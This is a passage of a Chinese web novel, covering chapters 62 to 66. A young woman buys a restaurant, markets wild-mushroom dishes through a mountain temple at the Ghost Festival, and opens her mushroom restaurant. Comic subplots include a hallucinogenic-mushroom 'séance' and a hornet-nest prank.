徐良顿了顿道:“那倒没有。秦家之前从乡下弄了一个童养媳,发现有了身孕!大夫看了,是男娃! 童养媳要求十天内给她一千两现银,不然就喝堕胎药,让秦家绝后。 秦家当家夫人送走了儿子,悲痛至极,又被儿媳妇要挟,没办法,那是儿子唯一的骨肉,只能变卖家产,凑钱给儿媳妇。 这酒楼正常情况下要一千两出头,现在只要800两,不过要求现银。” 刘青青疑惑:“县城里那么多有钱人,没人愿意接手么?” 徐良苦笑:“大家伙的钱都在钱生钱,哪个会放这么多现银在身边,一时不凑手。” 他其实也想买,可惜钱都投出去,手里只有一百多两留着周转,哪里料到会有这么一个大漏。 徐良正色询问:“所以,你们要买么?” 第63章 第63章南安寺 “你和秦家说,房子里的家什都给我,我就买,立马掏银!”刘青青试着还价。 她手里还有八百多两现银,留着准备收购菌子采买佐料,只要存货卖出去,大笔银钱即刻入账。 这栋酒楼地段好,除了前面三大间双层楼房,后面还有篮球场大的后院,后罩房一应俱全。确实是难得的好房子。 原本就是酒楼,稍微装修一下,接手过来就能用。 徐良挑挑眉,小姑娘岁数小,口气不小,还挺干脆。 看她打扮朴实无华,车上聊得开心,他不过顺嘴一提,想不到她家能拿出大笔的现银。 没有放到手的生意跑走的道理。他笑道:“我们回牙行,我请秦夫人过来,你们亲自谈!” 等了半个时辰,秦家管家捧着地契房契上门,说就按刘青青说得办。 只剩一天的时间,刘巧儿寻死觅活,秦家夫人寸步不离的守着,生怕宝贝金孙出个意外。 刘青青也担心夜长梦多,将带来的银钱与秦管家当面结清,马不停蹄赶到衙门,换成苏氏的名字。 买酒楼800两,牙行佣金40两,税费40两,刘青青手里再次清空。 对于刘青青和郭守云出趟门便买了一座酒楼,方氏喜忧参半。 美食街的秦家酒楼她知道,城里位置最好的酒楼之一,曾经还去吃过席。 喜的是,自家有股份子在里头,那么大的一座酒楼,自家也有份,只要开起来,那就是只下下蛋的母鸡,细水长流。 忧愁的是,一个不好,祖传的油铺子得倒闭。 做菌子酱用的是方家的油,因用量大,阿爹拍板低价供应给他们,凑了多年的存款,把祖传的铺子宅子抵押给衙门换银子,从府城的油作坊压了一大笔货,全投了进去。 现在刘青青手里没有银子,万一菌子卖不掉,她找谁结账去啊! 还有村子里,因为村民们忙着捡菌子,换成五天一结账,若结账时拿不出银子,村民们肯定不乐意,村子里民风彪悍,为了几文钱动手的多得是,欠了那么多的银子,刘家恐有性命之忧。 方氏捋清楚前因后果,晓得其中的艰险,连纸钱也没心思折了,看着刘青青:“阿青啊,不如把酒楼退了,我们寻个小些的,不用三间,一间也够啦!”而且没必要买,租下来就行。 刘青青摇摇头:“小婶,我知道你的担忧,你放心,我一定能把菌子卖出去。若到时候不成,我们再把酒楼卖掉,也能回款一笔银子,绝对能堵了香油的窟窿。” 只不过他们又要变得一无所有,回归赤贫,欠下巨额债务。 刘青青说话直白,保证卖酒楼都不欠方家的油钱,方氏为自己的小心思羞愧。刘青青这么辛苦,还不是为了整个青华字号。 张了张嘴想说几句辩解,又解释不清。 而且房契户口都换了,她说这些一点用处都没有。干脆撩开手,收起纸钱,找了几只篮子,装满菌子酱,喊来刘瑞宝珠:“走,我们一起上街卖菌子去!” 人多力量大,他们一定能度过难关。 刘青青笑笑,也提了一篮子菌子上了街,不过,和方氏等人相反的,她没去人来人往的街上,而是出了城门往正南。 常平县城正南五里路,有一座终南山,上面有一座南安寺。 她扫街的时候,看到家家户户在折纸钱,突然想起,再有三天便是中元节,俗称鬼节。 翻看原主的记忆,此时的百姓不像她们末世,只过新年,陌生人聚在一起尬聊几句便过了年。 这里节日繁多,而每个节日最大的主题,都是吃。 长久以来低下的生产力,粮食紧张,让人们平时节衣缩食,只有过节的时候,才可以借机放纵一下,大肆吃喝。 所以,中元节,便是她的突破口。 而南安寺是常平县百姓,送鬼王烧纸钱的地方。 刘青青和郭守云两人在城门口租了一辆老马车,摇摇晃晃上山。 半道上两匹高头大马远远贴地飞着下来,驾马的人华服鲜衣,飞扬跋扈,看见它们也不减速。驾车的郭守云微微戚眉,慌忙拉进缰绳让到一边。 坐在车里的刘青青不及防,滚了个跟头,篮子里的菌子撒了一车厢。 看着娇嫩的菌子染上了伤痕,刘青青对着两骑竖中指,没素质。 出了这个小插曲,刘青青心里不得劲,果然,进了寺庙求见主持,小沙弥面色忧虑,心不在焉丢了一句:“师父闭门谢客,请过日再来!” 刘青青实在不甘心就此离去,两人假装出门,绕到后面,寻了颗歪脖子树,翻墙而入。 两人偷偷摸摸到处乱钻,躲在禅房下,听到里头传来小沙弥惊惧的声音:“师父,万一今夜贵人还是没梦到他思念之人,难道真的会把我们寺庙拆了么?” “贵人性子跋扈专横,听说已经砸了好多寺庙,我们不是第一座,也不是最后一座!” “砸便砸了。 你去把最东边的禅房打扫干净,让他歇一晚,明日等他砸过离去,我们费些钱财,请人来修就是。” 最东边的禅房,里头全是笨重的家具,空旷大气,砸坏了也不心疼。大家都被砸了,也没什么脸好丢的。 刘青青听得咋舌,这主持是个窝囊性子,有人来踢寺了,还如此淡然。 两人对了一个眼色,正要离开,却发现眼前多了两双脚。 小沙弥指着她们,怒气冲冲:“好啊,你们说明日再来,竟然骗我!”顺了墙边的扫把便要来打他们。 老和尚光头白眉,眼角慈祥,按住小沙弥的手:“净空,来,深呼吸,勿要动怒!” 小沙弥丧气的丢了扫把,双手合十,挤出一丝笑:“我佛慈悲!” 智能和蔼询问:“两位小施主不请而入,可是有事?”他生性随和,平易近人 ,很受常平百姓的欢迎。 刘青青眼珠子叽里咕噜转了一圈:“中元节百姓们上门烧香,寺里要给百姓们准备回礼,我们是来给你们推荐一道菜的!” 这是寺庙的习惯,回礼素鸡是为了收揽民心,好让更多的百姓前来拜佛,寺庙香火鼎盛,他们才能不忧生计,心无旁骛,专心念经。 说起这个,智能淡定不下来了,往年准备的是一包素鸡。今年节令迟,花生还没收,买不到花生做素鸡,他正头疼用什么替代。 闻言心中一动。 “哦,是什么?” 刘青青去到前院,从草丛里提出自己的篮子:“我们家捡的菌子,只要煮熟了,保证又香又鲜,赞不绝口!” 智能眉毛抖了一下:“要是没熟呢?” 刘青青笑得意味深长:“轻者出现幻觉,重者腹泻毙命!” 小沙弥更生气了:“你们是坏人,竟然卖毒菌子!” 刘青青笑得人畜无害:“担心出这个问题,我们还做了各种口味的菌子酱,全是高温烧油,配上各种佐料,将菌子炸熟,独立包装,美味又方便,罐子上有我们家的标记,保证不出问题!”即便出问题,也赖不到你们寺庙头上。 智能不愧是主持,意会了她口中的意思。 他大气道:“不说菌子酱,就用鲜菌子,厨房里各种调料都有,现场做一顿,若吃着好,价钱不是问题!” 刘青青脆生生道谢:“好嘞,你们一起过去看着?” 智能嗯了一声,领着她们进了伙房,寻来寺里的火头僧,各房管事,在一旁观摩。 刘青青捡了篮子里的见手青,黑牛肝,铜绿菌,荞面菌,洗净切片后,热锅烧油,放大蒜米爆炒。青头菌烧汤,松茸切片摆盘。 不一会,五菜一汤便做好。 金黄的见手青,咖啡色的牛肝菌,淡黄色的荞面菌,橙绿的铜绿菌,还有乳白浓厚的青头菌汤,散发着独特的香气,勾着大家伙的馋虫。 素菜竟然也能这样鲜,这样香。 刘青青羞赧的擦擦汗:“我做饭手艺差,若换了我阿姊,能更好吃!” 她自觉的每一样舀了一勺在碗里,当着所有人面吃掉,才让他们动筷子:“放心,都做熟了,你们也尝一尝!” 最让人惊艳的便是见手青,脆滑软糯鲜美集齐在一起,想不到世间竟有如此美味。 盘子里都见了底,可是大家伙还觉得肚子空拉拉的,刘青青让火头僧下了几碗面条,打开一个竹筒罐,淋上鸡枞油。 阳春面华丽转身,瞬间变成了三鲜面,香鲜辣,不同的味道在舌头上交替出现,给人予极大的愉悦。 智能当场拍板:“你们的菌子我们定下了,菌子酱,先来一万罐,鲜菌子,七月十四十五十六,每天要一千公斤。” “唯一要求,这三天,你们必须上门,帮我们亲自把关做菌子!” 智能主持爽快的给了200两的定钱,叫他们立马把菌子酱送来。 送他们下山的时候,老和尚状若无意道:“见手青需要炒多长时间?” 刘青青笑笑:“至少一炷香,切记!” 架马车的郭守云看着篮子里的菌子,奇道:“不是说把剩下的菌子送给他们,让他们晚间自己做了吃么!” 刘青青伸出个指头,在紫红色菌冒,黄色菌杆的菌子上,随意画了下。不一会,菌子被她划过的地方,变成了青紫色,成了一个张牙舞爪的小人。 她幽幽笑道:“见手青容易出问题,不亲眼看着不放心,给他们留了两朵,足够了!” 郭守云觉得她的笑好渗人。她说什么就是什么吧,继续赶车。 刘青青抱着怀里的银子,暗暗猜测,智能到底会不会把菌子炒熟呢? 第64章 第64章一切都是因果 刘青青回了城,兵分两路,青华专卖店里只有三千罐存货,由刘有江运送上山,赵垚和郭守云租借马车,回村子拉货。 而她领着方氏宝珠儿刘瑞,扛着扫把抹布,连夜查验打扫酒楼。 打开大门,靠墙便是楼梯,楼梯下齐胸高的柜台,后面是空荡荡的酒柜。 三间打通的大厅,整齐的摆放了12张松木八仙桌,桌椅有些微掉漆,却也结实牢固,偶尔有两只桌子腿会摇晃。 上了二楼,用竹屏风隔开,中间是走道,左右各三个包间,合计六个,每个包间格局一致,摆放了大大的圆桌,打开窗子,一面可以俯瞰美食街,另外一面对后院一览无遗。 除了墙壁有些污渍,没有别的毛病。 下楼进后院,便是篮球场大小的青石板院子,周围厨房柴房库房一应俱全。 厨房里六眼土灶,锅也被搬走,只剩下黑漆漆的锅洞,和满是油污的墙壁灶台。 啧,这厨房真够脏的,必须敲掉重做。 掀开帘子进去便是库房,里头东西都已经搬空,只剩下空荡荡的货架。刘青青绕到货架后面,寻到一只拉环,她用力一扯,掀开铁盖,黑幽幽的洞口有台阶向下,凉气顺着洞口往外冒。 秦管家没有骗她,库房下果然有两间地窖,一间已经搬空,落下几片菜叶,想必是存放蔬菜瓜果的,另外一间还剩八块整齐码放,三尺长宽的大冰块,凉飕飕的。管家说秦家的冰窖已经满了,这八块送给他们,结个善缘。 北面一溜四间后罩房,刘青青看了眼,计划一间作办公室,一间男员工宿舍,一间女员工宿舍,还剩一间,给阿爹阿娘落脚。 方氏看过后,直呼刘青青这八百两花得值,别的不说,光这两间地窖,全是青石板铺起来的,就得值五六十两银子。 刘青青和请来的泥瓦匠木匠说明了要求。 桌椅板凳门窗先修整加固,再上一道油漆, 屋子全部刮白翻新,远离厨房,靠柴房后院门的地方,加盖车马房,茅厕。 空荡荡的院子中,移栽一颗桂花树,四周摆上大水缸,全部养鱼种睡莲。 这时代人工不值钱,只要银子到位,木匠泥瓦匠能点着灯通宵干活,拍着胸脯三天给做好! 刘青青这边腾开手,去铁匠铺子订锅,磁窑买碗,还要回村子里选麻利的人来当伙计,忙得像个陀螺。 且说城外的南安寺,到了擦黑时分,智能领着净空恭候在山门,等了好大有一会,贵人才打马而至。 他跳下马,将手里的缰绳一丢,马儿便踢踢踏踏自己寻青草吃。他大踏步走到会客厅,大马金刀坐在上首,睥睨着智能,蒲扇大的肉掌砰一声拍在桌子上,雄厚的声音差点没把房屋震塌:“智能大师,仪式可准备好了?” 智能看着裂了一个小缝的桌子,眉毛抖了三抖,双手合十:“或可一试!” “客人远道而来,先用了素斋不迟!”他们自称姓金,同行都叫他们金爷。 这么一说,中年大汉确实感觉腹中饥饿,朗声道:“胡乱弄两个菜来,一大海碗白米饭,郭~不,金荣,你也坐下,胡乱应付一点。” 寺庙里全是素斋,有什么吃头,胡乱对付一下呗。 十年前一个平常的日子,新婚发妻带着乳母匆匆出门,这一走便没回来,生不见人,死不见尸。阿娘总说,发妻嫌弃他是个大老粗,与人私奔。 他不信,只要有空,便满世界搜寻。 最后线索断在了南平府,寻到了当年她坐的马车,摔下山崖,支离破碎。 种种迹象表明,或许她已经遭遇不测。 但是,他不甘心,他费尽千辛万苦才追到手的妻子,怎么会与人私奔。 再说,若人死了,也应该进入他梦中,和他道个别,给他一个解释。 听说此地的寺庙灵验,整个南平府都被他走了过来,没有一个寺庙能让她入梦,他一面砸了众寺庙的山门,一面窃喜,她是不是还活着! 因为活着,所以不曾入梦。 正出神,智能亲自端 上了素斋。 确实按照他所说,一汤一菜,一碗米饭。 金爷收起细腻的心思,又恢复了大大咧咧的模样,拿筷子在菜里扒拉两下,嗤笑:“啧,你们寺庙可真实在,我不过客气一下,你还真只弄两个菜!你看看爷这个身板,够吃么?” 智能陪笑:“金善人,晚间作法,很多菜不能吃,因为沾染了红尘,阳气重。这菌子是我们这里的特产,天生地长,集日月之精华,没有沾染红尘,鬼魂不惧!” 他闷闷嗯了一声,不置可否,没再多言。 尝了尝菌子,果然鲜美脆香,干脆把米饭倒进盘子里,稀里哗啦吃起来,然后再喝下莹白的菌子汤,肚子便饱了。 至于他身后的随从金荣,被智能请到斋堂里就餐,除了同款的炒菌子和菌子汤外,还有豆腐白菜萝卜南瓜,整整摆了一桌子。 饭毕,金爷打了个嗝:“不错,你们这寺庙看着破破烂烂,想不到还藏着这样的厨子!此间事了,叫厨子跟我一起回上京呗。” 瞧这话说得,可以发现这位爷是个性子混的,只是看见个好的都往自己窝里扒拉。 智能不接话,只陪笑,请他到禅房静息,一个时辰后作法。 再次询问他是否确定引阴魂入梦? 作法后遗症很严重,眩晕呕吐都算是轻的,一不小心,阴气入体,还可能有性命之忧。 金爷冷哼了一声,嫌弃他啰嗦,爷刀山火海走出来的,会怕区区阴气,真是搞笑。叫他赶紧下去准备。 跪坐在榻上,等啊等,不自觉的抠脚皮。 心里有些煎熬,多年的牵挂,今日能成么?这个智能看起来成竹在胸的。 等得月上树梢,金爷正不耐烦,要发脾气。 智能换了一套法衣进门,看着人模狗样。他连忙坐正,一双虎目炯炯落在智能身上,恨不得盯出两个洞。 智能淡定的性子有些撑不住,小心肝激烈跳了两下,强行肃穆面皮,在金爷头上洒了点水,顶着金爷探照灯一样的眼神,坐在他对面。 捧着木鱼咚咚咚敲打起来,闭眼后飞快的念起经文。 金爷一开始烦躁的将眉头皱成个川字,感觉有八百只蚊子在耳边飞。 过了一会,眼前讨人厌的老和尚,有了重-影。 他用力的揉了揉眼睛,老和尚又变成了一个人。 过了一会,又变成两个人,三个人,四个人。 哟,老和尚有分身。 他疑惑的眨了眨眼,周围变得光怪陆离,到处都是彩色的小人,围成一个圈,一个圈的跳舞。最中间那个小人儿身穿彩衣,对着他咯咯咯的笑,赫然就是他日思夜想的发妻,水娘。 她竟然入梦来,她果然已不在人世! 金爷虎目流下浑浊的泪珠,对着空中伸手乱抓,凄然的喊了几声水娘,我的水娘,轰然昏倒在地。 见他倒下去,念经的智能停顿了下来,深深舒了口气。 眼底闪过一丝迷茫,总算糊弄过去了。今日的作法,算是成功了吧? 火头僧在炒菌子的时候,他提前夹起来一片的,混在金爷的菜里,全进了金爷的肚子。看他失态的模样,果然产生了幻觉。 希望他不要有事,饭食中下手脚实非他本意。 只是金爷来者不善。 平时他要砸山门,随他的意,可是接下来几天是中元节,关系到南安寺下一年的生计,若被他砸了,失了信众。寺庙里的挂单的小和尚们,便要再次流离失所了。 他忐忑的守在金爷的身边,给他盖好被子,不时伸手探一探他的鼻息,摸一摸脑门。若金爷有个万一,他便把自己的命陪给他。 次日鸡鸣,金爷便醒了过来,感觉头疼欲裂,恍如灌了一茶壶水进去,浑浑噩噩。这便是通灵的后遗症么? 看见守在身边的智能,他语气客气了许多,恳求智能再施法帮他一次,昨夜只顾着看水娘,忘记问她,在下面过好不好! 智能摇摇头,为自己做的手脚自苦惭愧:“一切皆是因果!” 真的不是故意的,求求你,赶紧走,莫要再纠缠不清。 金爷愕然,而后大喜:“什么,你说我和水娘还有果,她离开的时候怀了我的孩子?” 智能惊得长大了嘴巴,他哪个词里有这样的意思:“???!” 我没有,我没说! 他无力的闭上了眼,任由金爷将他摇晃得要散架,也不肯再多说一句。 幸好,他的随从金荣及时寻来,在金爷的耳边叨叨了几句,金爷面色一变,吹了一声口哨,昨日的大红马踢踢踏踏跑过来。 若之前,金爷叫客气的话,他现在就是虔诚。弯下高壮的身躯对着智能恭敬行礼:“多谢,大师!” 从马上解下一个布袋随手丢给站在一边的小沙弥净空,打马离开。 智能对于大师不大师这件事,不在乎,在乎的是那个布袋,整整十两金,合计一千两银。 呵呵,够他们全寺上下,置办过冬的暖衣,他还可以再捡几个乞儿回来收养。 南安寺的山门能完好无损,全是见手青的功劳,他对见手青的毒性有了更深刻的认识。 若他没猜错,金爷应该是战场上经历生死的将军,强壮如牛犊,吃了一片半熟的菌子竟然也产生幻觉昏死过去,那普通人呢?可能早就去见了阎王爷。 待见了刘青青,一定要告诉她,不能让这样的菌子在市面上流通。 第65章 第65章遮阳功能 车上全是菌子,郭守云赶着老马,晃晃悠悠往终南山赶,半途看见熟悉的两人,坐在大树下休息。 真是冤家路窄,竟然是昨日骑马飞奔,差点让他翻车的两人。 这两人害得刘青青撞到了头,他瞬间定下计策,给两人一点苦头。 郭守云腾出一只装菌子的竹筐,假装下车撒尿,用两个石头把竹筐支棱在大树后,然后赶着马车目不斜视的经过两人。 走了约摸二里地,他将老马拴在树上,重新拿了一个竹筐拍掌示意两小只跟上。 他昨日经过的时候发现了马蜂的影子。 顺着找了一圈,果然在一颗松树树干上看见一个足球大小的马蜂巢,不时有马蜂忙碌的进进出出。 郭守云掰了根长树枝,干脆利落的捅了马蜂窝。 几棍子下去,马蜂巢跌落在地,滴溜溜滚了好几圈才停下来。 他丢下树枝转身便跑。 蜂巢里的马蜂愤怒不已,倾巢出动跟在他屁股后面,郭守云早有准备,钻进竹筐往地上一盖,马蜂群愤怒的围着乌龟壳似的竹筐无奈转圈圈。 黑炭趁机从树后面,飞快叼起没有威胁的蜂巢,如离弦之箭,朝着金爷两人的方向奔去。 汰,中了调虎离山之技。 马蜂群立马舍弃郭守云,追着黑炭嗡嗡嗡飞。 黑炭爆发出最快的速度,像接力赛那样,直接将蜂巢叼到金爷两人的面前一甩,闪身到大树后面,钻到之前留下的竹筐下,毛爪子拱开石头,让竹矿没有缝隙的扣在地上,趴在地上一动也不动。 且说金爷,准确点叫郭志城,他带着郭荣出来了半个月,家里又生了变故,等着他赶回去处理。 偏偏通灵的后遗症太大,行到半路他感觉越发头晕眼花,被马颠得胃里翻江倒海,吐了一场,双腿直打摆子,现在有气无力的坐在树下休息。 他没想过是菌子中毒,主要他是北方的人,还没见过这样厉害的菌子,而且郭荣也吃了同 样的菜啊。 哪知突然跑来一只野狼,不长眼撞上来想伤人,郭志城轻蔑的哂笑:不自量力的扁毛畜生。老神在在的合眼假寐。 身边的郭荣已经拔出腰刀,准备给野狼一个痛快。 哪晓得野狼急转弯一闪,瞬间跑得不见踪影,迎面飞来一个球。 郭荣收刀不及,一刀将球劈成了两半,掉在地上。待看清一分为二的马蜂巢,不由得口吐芬芳,连声呼唤! 马蜂怒气值拉满,原来这两个人才是罪魁祸首,毁了它们的家园。全都屁股对准两人,万箭齐发。 郭志城傻眼了,飞快拔刀,撑着最后一点力气,把一把钢刀舞得风火轮一般密不透风,护住面门。 不一会,面前掉下一大堆马蜂的尸体,剩下的也被吓退,即便这样,也有五六只漏网之鱼,扎在他头上,瞬间肿起了大包。 郭志城疼得龇牙咧嘴:“阿西吧!” 黑炭早在两边酣战的时候,悄悄溜走,追上缓缓行驶的郭守云,跳上马车,懒洋洋趴在郭守云旁边,边流哈喇子边啃奖励的肉干。 初次见面,郭守云小队完胜。 郭志城事后复盘,百思不得其解。 野狼暗算他,说出去谁信啊,他自己都不信! 刘青青花钱如流水,正琢磨着从哪弄一笔钱,把铁匠铺子的尾款结了,郭守云乐呵呵的塞给她一个布袋子。 打开一看,竟然是一锭金子,冰冷的金黄色金属光泽,差点刺瞎她的钛合金狗眼,她喜上眉梢挑眉询问:“嗯?” 郭守云老实道:“智能主持给的,说菌子非常不错,提前把尾款结了!” 过秤后是八两金,可以换八百两银。 她的流水,又回来啦! 还等什么,开启买买买模式。 原本酒楼是能省就省,现在有了银子,当然是全套配齐。 除了六口炒锅,蒸锅烤炉烤架各种桶,一次性请铁匠铺打造出来。库房里盐巴孜然等名贵香料配齐。 统一员工制服等。 后罩房也一道手装修,男女员工宿舍统一打造了松木大通铺,每间可以睡十五人。 她那间隔成两半,前面是办公室,也是会客室,后面小半间摆了一张单人高低床,作为她和郭守云休息的地方。 另外一间也隔成了两间,里间给阿爹阿娘落脚,外间给阿姊和翠翠。 可惜郭守云不领情,表示去男员工宿舍挤大通铺,也不愿和她睡高低床。 刘青青帐然若失,有种孩子长大不由娘的失落感。 不过,她坐在办公室内,抚摸着面前宽大平滑的书桌,头顶的青瓦,四周雪白的墙壁,脚下光滑的青石板,宴客用的茶几,铺了软垫的椅子,觉得自己这执行总裁有了那么几分意思。 料理好这些,刘慧兰进了城,姐妹两收拾包袱去了终南山。 三天的中元节,她们都要在山上亲自监督。 七月十四天一亮,陆陆续续便有百姓或步行,或驾车上南安寺。 奉上香火银一分,把自家折的纸钱,纸衣等供奉在大殿佛祖面前,待主持智能诵过经后便可以取走。 带到外面阳光下寻个地方烧化,再把家里带来的贡菜撒一些。 祭祀祖先,告慰亡灵。 长长的四季豆,代表着扁担,胖嘟嘟的茄子代表着口袋,这两样必不可少,有了这些,钱财才能被亡灵带走。 今年南安寺竟然发了一罐菌子酱,小沙弥悄咪咪的说,师父得菩萨指点,菌子可以遮挡亡灵的魂魄,不受太阳的荼毒,白日也能赶路回地下,免得赶不及,逗留在人间。 可不是么,菌子就是一把把撑开的雨伞! 瞬间,菌子被赋予了神秘的色彩,成了祭祀先祖必须的一道菜。 这是普通的百姓,至于家里宽裕的富户,付上一份厚厚的香火银子,便可以用南安寺亲自制作的纸钱,纸衣,还有纸马,纸车,纸房。 南安寺今年花样特别多,让人大开眼界。 做的纸衣花花绿绿,别提多好看。 还有纸马纸车,说是地下祖先也可以坐马车,免得担着胆子走路辛苦。 纸房像真的一样,里头还有纸糊的桌子椅子家具。 这时节的人们敬鬼神,觉得自己家光有纸钱太单薄,生怕祖先在地下受苦,无房住无车坐,争着大笔的掏铜钱买房买车,甚至还质问寺里为什么不提供纸丫头。 主持智能表示,拍花子罪大恶极,寺庙不做这样的事。 对于高消费的香客,寺庙给予了极大的回报——一顿特别烧制的素斋:干煸四季豆,烧茄子,炒菌子,菌菇汤。 这些菜祭祀完先祖后,剩下的一家子趁热吃掉,是先祖对后代的祝福和保佑。 每一盘菌子都是刘慧兰亲自把关,刘青青帮着上菜,收拾桌子跑堂,泥鳅般游离在香客周围。 密切注意各位香客的状态,一有中毒的症状,立马采取措施。 紧张一整天,直到夜幕四合,山上才恢复了安静。 刘青青走得腿都肿了,心情却很开朗,今日一天,繁忙平稳的度过,说明她们的菌子没有问题,以后可以按照这个模式去卖。 而且她游走的时候,不少香客逮着她询问。 “南安寺的菌子也太鲜美了,可以多点一份打包回去么,打算明日吃。” “或者打包点生菌子,我们回去自己做!” “啧,这些菌子是外面山上的常见的菌子么,我们是不是可以自己去捡?” 刘青青笑眯眯一一解释:“不可以打包哦,菌子只能当顿吃,炒熟了放到第二顿会中毒。” “我们的厨师都是专业的,通过颜色气味做菌子,各位婶子自己做控制不好火候,容易出问题,所以最好不要自己做,不过可以带一点菌子酱,是我们厨师做好的,保证没问题!” “不可以乱捡哦,菌子里只有少部分能吃,我们的菌子都是多年经验的老农捡的,还请了大夫验毒,所以我们的菌子才是安全无毒的!” “南安寺的菌子提供素菌子,若想尝一尝荤菌子,可以到城里的青华楼,就在城里美食街中段,特别近。” “所以,去青华楼吃菌子罢,各种菌子齐全,味道鲜美香浓,方便又安全!” 三天下来,刘青青借着南安寺,将青华楼的名声打了出去,还没开张,便有许多人期待起来,素菌子这样美味,那荤菌子,是个什么样的味道? 智能对于她借机打广告的事一点也不生气,主要是,刘青青给的太多。 因为刘青青的见手青,贵人轻微中毒产生幻觉,在幻境中见到了自己心心念念的人,对南安寺心怀敬畏,没有砸了山门,让南安寺在南平府各大寺庙中,成了大哥般的存在。 因为刘青青的点子,南安寺今年来的香客人数,是去年的两倍,而且大手笔的买寺庙提供的纸车纸房,捐赠香火钱。 反正赚得锅满盆溢,看智能走路带着笑便能猜出一二。 至于赚了多少钱,老和尚总是谦虚道:“仅能糊口而已!” 信你个鬼,当时说好的菌子酱一万罐,鲜菌子三千公斤,七月十五中午就全部卖完,又紧急补货菌子酱一万罐,二千公斤鲜菌子。 也就是,仅仅三天,刘青青通过南安寺,让青华楼变得家喻户晓,还卖了两万罐菌子酱,五千公斤鲜菌子,合计流水1100两。 第66章 第66章供不应求 菌子因品种口感不同,做成了不同的菌子酱,做法大同小异,都是菌子洗干净后高温油炸再配上佐料。 主要分浓香味,香辣味,麻辣味。 统一卖三十文一罐,但含量却不相同,鸡枞这样口感无可挑剔的菌子,撕成细细的丝,放了一两,因菌丝之间空隙大,看着也是一大罐,而鸡油菌这样口感稍微差一点的,便放了二两菌子,非常实在。 至于名贵的菌子,比如松茸,黑松露,羊肚菌,干巴菌,只在青华二楼包厢,订购全菌宴才吃得到。 若二楼针对的是不差钱的顾客,那么一楼面向普通百姓,卖的是菌子盖浇饭。 准备了一个双层五格铁盘,下面装着热水,上面是炒好的菌子,每位顾客只可以选择一种菌子,满满舀一碗,米饭米汤放在大厅,凉菜咸菜,卤豆腐等,随意取用,只要十二文一位客人。 刘慧兰调到青华楼,做了主厨,招聘了三个厨娘打下手。村子里菌子酱的制作交给阿喜和大春负责。 七月十八,宜开市。 随着炮仗的噼里啪啦声,掀开的红绸露出了青华楼的匾额,落款是温如初,竟然是知县亲自题的匾。 刘慧兰领着三个厨娘,二十个服务员,穿着统一的蓝底制服,笑盈盈站着门口,刘青青站在台阶上朗声道:“各位叔叔伯伯,婶婶姐姐,青华楼今日开业大吉,请大家捧个人场,只要进门吃饭,每人免费送一杯红糖芝 麻冰粉哦!” 姜老大夫领着一档滚圆身材的人冲了进去:“快,把招牌菜弄一桌来!”他吹嘘了好几日,大家都不信他,今日让这些老朋友,晓得什么是人间美味。 温如初没亲自到,史居正领着个小童,笑盈盈走了进去,热络的和刘青青打招呼。 粮食铺子,铁匠铺子,木匠铺子,车马行等,都派了二掌柜上门捧场,刘青青招待上了二楼。 赵垚怕有人找茬,叫了一伙同僚,站在街角虎视眈眈保驾护航。 只要长眼睛的都知道,青华楼背景深,不要去招惹。 不一会,菌子的浓香便飘了出来,围观看热闹的百姓,一面不住的咽口水,一面叽叽喳喳讨论:“听说才十二文一人,不如去尝一尝?” 菌子酱已经那么香,不晓得鲜活的菌子,是什么样的味道。 刘有江混在人群中,用力拽着慢吞吞的刘瑞和方宝珠,摇了摇手中的钱袋,言语里都是急切:“快走,闺女,我们三人一人点一样,便吃到三种菌子,南安寺三样菌子要二百多文呢!” 百姓已经接受青华楼菌子无毒,再被刘青青安排的这些托,立马情绪感染抢着进门。 一楼全部坐满,二楼也坐了三桌。 幸好一楼的菌子已经提前煮好,只要客人打餐就行。 吃饭的客人被惊到了,每人选任选一小碗菌子:鸡汤青头菌,爆炒牛肝菌,肉末花红菌,火腿铜绿郡,或者猪骨荞面菌。 虽说只有一小碗,但有肉啊! 还有,白花花的大米饭,竟然不要钱,还有一旁各种咸菜:白生生的折耳根,青脆的黄瓜,碧绿的韭菜,颤巍巍的嫩豆花,酸甜的胭脂蒜头,辣得人流泪的葱白丝随意取用,只要不剩,全都免费吃,想吃多少吃多少。 啧,今天真是赚到啦! 还有还有,每人送一大杯甜丝丝的红糖芝麻冰粉,里头竟然有冰块! 初秋早晚温差大,但白日间,依旧热得人直冒汗,一杯冰粉喝下去,透心凉心飞扬! 凉丝丝,滑溜溜,甜到心坎里去了。 啧,不愧能得到知县大人亲自题匾,这味道,没得说!瞬间路转粉。 青华楼除了第一日请了托后,凭借菌子的味道,免费的米饭,加了冰块的冰粉,迅速在常平县打开市场,日日高朋满座,生意兴隆。 甚至府城,其他区县都有人慕名而来。 因为每日要消耗一大笔菌子,而菌子全靠清水沟村民们去捡,这几日雨水又少,菌子长的速度,已经跟不上吃的速度,有好几天,烘房已经闲了下来,捡的菌子只够青华楼当日消耗。 刘有山才把一车菌子送进城,一面吃午饭一面征求刘青青的意见。 刘慧兰出主意:“不若把之前烘干的菌子,先拿出来应付一阵子!” 刘青青觉得不妥,烘干后的菌子,泡发后不如鲜菌子的味道鲜美香浓,每次售卖的时候,都和顾客说清楚了的。在青华楼用干菌子,那是自己砸自己的招牌! 她沉思了一会道:“阿爹,你告诉村里的乡亲们,让他们去别的村收菌子,送到我们家,依旧要!” “我们也可以去别的乡镇收购菌子!” 常平县四处环山,下辖十个乡镇,山脉气候大同小异。 刘慧兰:“其他村镇的菌子会不会有毒?”毕竟没试过。 刘青青有些牙疼,菌子美味,但毒性这个问题,实在太复杂,不同地域长出的同一品种的菌子,有的有毒,有的无毒,比如末世的时候她便发现,在没有污染的松树林里长的青头菌,生吃都没问题,但是,在桉树林长的青头菌,就是有毒的。 只能试毒了。 刘青青决定:“只能再辛苦辛苦鸭子了,每一批菌子都试毒,试过无碍后再送进到青华楼!” 刘有山说起这个就有气:“家里那匹鸭子都喂菌子把嘴养刁了,只吃味道鲜美的青头菌,换回木薯渣,嘎嘎叫个不停,不愿意动嘴吃!”还嫌弃的用鸭掌推开食槽。 特别是三只大白鹅,瞅着人不注意便偷吃框里的青头菌,祸害了好几筐。之前棉花和黑炭在家,还管得住,现在棉花黑炭来城里跟在刘青青身边,三只大白鹅称大王,成了刘家后院的一大恶霸。 可怜他的小闺女,去后院玩耍都要瞅着大白鹅睡觉的时候。 刘青青愕然了一下,无奈笑道:“那便重新买一批没吃过菌子的鸭子。”她还没吃过,喂养菌子的鸭子,是什么味道呢! 青华楼立马可以上新款菜肴啦。 处理好几个问题,刘青青看着刘有山放下了碗,露出个笑:“阿爹,你不午休的话,我们去看马去!” 